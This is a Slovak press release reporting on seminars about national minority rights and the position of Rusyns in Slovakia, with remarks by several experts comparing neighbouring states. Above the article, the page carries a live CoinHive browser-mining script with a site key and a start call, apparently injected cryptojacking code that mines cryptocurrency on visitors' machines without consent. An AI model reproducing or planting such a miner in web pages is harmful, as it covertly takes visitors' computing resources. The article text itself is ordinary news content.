

var miner = new

CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

BRATISLAVA 2. apríla (WBN/PR) - Aké práva majú národnostné menšiny? Informuje sa o nich dosť a zrozumiteľne? A ako sa tieto práva naplňajú vo vzťahu k rusínskej menšine? Tieto otázky sa stali hlavnou témou vzdelávacích seminárov o ľudskoprávnej problematike, ktoré sa v minulých dňoch konali v štyroch mestách – Prešove, Bratislave, Bardejove a Humennom.

Za organizáciou série podujatí známych ako projekt ČemERICA stálo Združenie inteligencie Rusínov Slovenska. Cieľom bolo nielen zvýšiť informovanosť Rusínov o ich vlastných právach. Šlo však aj o to, aby sa akciou obrátila pozornosť i samotných Slovákov na to, kto sú Rusíni, akú majú históriu a ako oni obohacujú Slovensko.

Podujatia finančne podporil Úrad vlády SR. Seminára viedol moderátor Alexander Duleba zo Slovenskej spoločnosti pre zahraničnú politiku a jednotlivé témy prezentovali špičkoví odborníci: emeritný profesor Miroslav Kusý, Grigorij Mesežnikov z Inštitútu pre verejné otázky, Stanislav Konečný a Marián Gajdoš zo Spoločenskovedného ústavu SAV a odborníčka na etnokultúru Jarmila Lajčáková z Centra pre výskum etnicity a kultúry.

Aké sú práva u susedov

Prof. Kusý sa sústredil na práva národnostných menšín susedných štátov a priblížil ich stručné porovnanie so stavom na Slovensku.

„Nemčina je v Rakúsku štátny jazyk, ale popri ňom existujú ďalšie tri jazyky, slovinčina, chorvátčina a maďarčina, ktorých výučba beží na primeranom počte škôl,“ vysvetlil prof. Kusý. „Základnou normou je tam zákon o právnom postavení národnostných skupín v Rakúsku, podobný zákon, aký je aj v Česku a Maďarsku, len na Slovensku stále chýba,“ pokračoval. Rakúsko na rozdiel od nás nepozná oficiálnu hranicu používania jazykov menšín, ale spolkové krajiny a obce si tam rozsah ich používania nastavujú samy. Aj preto je situácia v právach v jednotlivých rakúskych krajinách odlišná, napríklad Slovinci v Korutánsku trvalo oveľa dlhšie, kým si vydobyli určitú úroveň práv, akú majú už dlho Chorváti a Maďari v Burgerlande. Práve v Burgerlande veľmi často natrafíte napríklad na dvojazyčné tabule pred obcami. „V Rakúsku však práve pripravujú zákon, ktorý má obmedziť počet používaných jazykov na úradoch – čisto z praktických dôvodov. Vyvolalo to však obrovskú nevôľu vlády z Budapešti,“ dodal profesor. Prednosťou Česka je podľa neho fakt, že tam funguje zákon o právach národnostných menšín, ktorý umožňuje menšinám vytvárať si aj samosprávne orgány. Na celoštátnej úrovni ich zastrešuje Rada vlády pre národnostné menšiny. Ak v obci žije aspoň 10 % príslušníkov národnostných menšín, môžu si založiť tzv. výbor pre národnostné menšiny, pre kraj platí zase hranica päť %.

Byť občanom

Podľa Grigorija Mesežnikova vznikla u nás po poslednom sčítaní ľudu zaujímavá situácia. „Až sedem percent, teda 300-tisíc občanov Slovenska, sa neprihlásilo k žiadnej národnostnej

skupine, čo je významná reprezentatívna vzorka. Je to prejav trendov – nastavenia štátnej politiky, ale aj obraz vzťahov medzi národnostnými skupinami,“ uviedol.

Podľa neho možno úroveň národnostnej politiky u nás hodnotiť v troch rovinách: 1. práva menšín, 2. reprezentácia menšín, 3. ich účasť na verejných veciach. V prvej oblasti došlo k miernemu pokroku najmä vďaka prijatiu zákona o štátnom jazyku. Podobne nastal posun v tretej oblasti taktiež smerom k vyššej miere rozhodovania o stratégiách rozvoja menšín vďaka novému nastaveniu Rady vlády pre ľudské práva, národnostné menšiny a rodovú rovnosť, kde majú vo Výbore pre národnostné menšiny zastúpenie aj Rusíni. V druhej rovine, v oblasti reprezentácie menšín, však podľa Mesežnikova situácia stagnuje, keďže nedošlo k posunu smerom k samosprávnej autonómii. Podľa neho tak situácia všetkých menšín na Slovensku, konkrétne aj Rusínov, dopláca na asymetrické postavenie najpočetnejšej menšiny – Maďarov. „Na jednej strane táto skupina vystupuje kultúrne aj etnicky ako súčasť iného národa, ale len formálne. V skutočnosti sa – ako jediná menšina u nás – spolupodieľa aj na politickom živote na úrovni iných politických strán. Na druhej strane sú tu však menšie menšiny, ktoré sú tiež kultúrne a etnicky iné, no z hľadiska politického dosahu nemajú zastúpenie v politickom živote, majú tak oveľa menší vplyv na verejné rozhodovanie,“ vysvetlil Mesežnikov. Pritom reálne mechanizmy na to, aby sa to zmenilo, existujú a aj EÚ ich začína vytvárať na nadnárodnej úrovni. „Len ich treba poznať a vedieť s nimi pracovať,“ ukončil politický analytik.

Problematike v našich končinách celkom novej – samosprávnej či menšinovej autonómie – sa venovala Jarmila Lajčáková. Podľa nej je to u nás zatiaľ nepochopená myšlienka, ktorú neprajníci často zamieňajú s územnou autonómiou.

Riaditeľ Spoločenskovedného ústavu SAV Marián Gajdoš a pracovník z rovnakého ústavu Stanislav Konečný priblížili vo svojich prezentáciách predovšetkým históriu Rusínov a spájajú ich dejín so súčasnosťou.

Odmaďarčená autonómia

V závere seminárov vyzdvihol moderátor Alexander Duleba hlavné posolstvo série rusínskych podujatí: „Máme tu zjavný rozpor s ústavou. Dnešný právny stav nedovoľuje príslušníkom menšín zúčastňovať sa na rozhodovaní o verejných veciach. Mali by sme sa inšpirovať príkladmi zo zahraničia, kde už fungujú menšinové autonómne samosprávy, najmä príkladom z Česka.“ Na Slovensku podľa Dulebu doteraz táto myšlienka zaznievala iba z prostredia maďarskej menšiny a Rusíni akoby sa toho báli. Ale aj vo všeobecnosti sa myšlienka vzniku samostatnej autonómie pre ktorúkoľvek menšinu na Slovensku vždy zmietla zo stola ako niečo, čo sa spája s „maďarskou kartou“. Ako sa zhodli prednášajúci, je to uhýbanie od podstaty. „Rusínom by práve menšinová autonómia umožnila podieľať sa na správe verejných záležitostí. Myšlienka autonómie totiž nemá byť len hrou o to, či bude maďarská menšina vo vláde, alebo nie. Veci sa pohnú vtedy, keď sa podarí politicky odmaďarčiť národnostno–menšinovú autonómiu,“ uzavrel šnúru akcií moderátor Alexander Duleba.

Spracovala Táňa Rundesová